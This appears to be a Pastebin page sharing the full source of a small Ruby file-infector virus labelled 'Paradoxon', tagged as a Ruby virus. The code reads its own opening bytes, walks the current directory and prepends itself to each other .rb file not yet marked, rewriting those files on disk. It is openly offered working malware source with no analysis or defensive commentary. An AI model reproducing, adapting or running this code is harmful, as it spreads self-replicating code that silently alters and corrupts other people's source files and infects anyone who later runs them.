Advertisement
FlyFar

Virus.Ruby.Pydoxon.b - Source Code

Jun 13th, 2023
1,110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 0.64 KB | Cybersecurity | 0 0
  1. # RUBY.Paradoxon
  2. mycode=File.open(__FILE__).read(630)
  3. cdir = Dir.open(Dir.getwd)
  4.   cdir.each do |a|
  5.     if File.ftype(a)=="file" then
  6.       if a[a.length-3, a.length]==".rb" then
  7.         if a!=File.basename(__FILE__) then
  8.           fcode=""
  9.           fle=open(a)
  10.           spth=fle.read(1)
  11.           while spth!=nil
  12.             fcode+=spth
  13.             spth=fle.read(1)
  14.           end
  15.           fle.close
  16.           if fcode[7,9]!="Paradoxon" then
  17.             fcode=mycode+13.chr+10.chr+fcode
  18.             fle=open(a,"w")
  19.               fle.print fcode
  20.             fle.close
  21.           end
  22.         end
  23.       end
  24.     end
  25.   end
  26. cdir.close
Tags: Ruby virus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement